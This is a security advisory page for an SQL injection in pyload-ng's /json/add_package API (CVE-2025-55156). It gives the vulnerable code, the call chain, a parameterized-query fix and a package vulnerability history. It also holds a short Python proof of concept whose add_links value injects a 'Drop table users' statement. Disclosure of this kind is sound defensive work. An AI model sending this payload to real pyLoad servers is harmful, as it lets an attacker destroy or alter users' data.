PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
Summary
The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.
Details
- Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
- Affected code:
@style.queue
def update_link_info(self, data):
"""
data is list of tuples (name, size, status, url)
"""
self.c.executemany(
"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
data,
)
ids = []
statuses = "','".join(x[3] for x in data)
self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
for r in self.c:
ids.append(int(r[0]))
return ids
statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.
- Vulnerability Chain
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info
PoC
import requests
if __name__ == "__main__":
url = "http://localhost:8000/json/add_package"
data = {
"add_name": "My Downloads1",
"add_dest": "0",
"add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
"add_password": "mypassword"
}
response = requests.post(url, cookies=your_cookies, data=data)
print(response.status_code, response.text)
Remediation
def update_link_info(self, data):
"""
data is list of tuples (name, size, status, url)
"""
self.c.executemany(
"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
data,
)
# 提取所有url
urls = [x[3] for x in data]
# 构建参数化查询,避免SQL注入
placeholders = ','.join(['?'] * len(urls))
query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
self.c.execute(query, urls)
ids = [int(row[0]) for row in self.c.fetchall()]
return ids
Impact
Attackers can modify or delete data in the database, causing data errors or loss.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | pyload-ng | < 0.5.0b3.dev91 | 0.5.0b3.dev91 |
References
- https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rf
- https://nvd.nist.gov/vuln/detail/CVE-2025-55156
- https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258f
- https://github.com/pyload/pyload
- https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
- https://pypi.org/project/pyload-ng
- https://github.com/advisories/GHSA-pwh4-6r3m-j2rf
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-89- Platform
- Python (PyPI)
- Package
pyload-ng- Disclosed
- 12.08.2025
- Updated
- 11.10.2026 13:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1821 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-pwh4-6r3m-j2rf - CC BY 4.0
Vulnerability history: pyload-ng
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 01.2023 10.2026
- Without a fix
- 24
- Exploited in attacks
- 0
Severity breakdown
- Critical 9
- High 23
- Medium 25
- Low 1
Disclosures per year
- 2023: 9
- 2024: 8
- 2025: 8
- 2026: 33
-
PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter this entry
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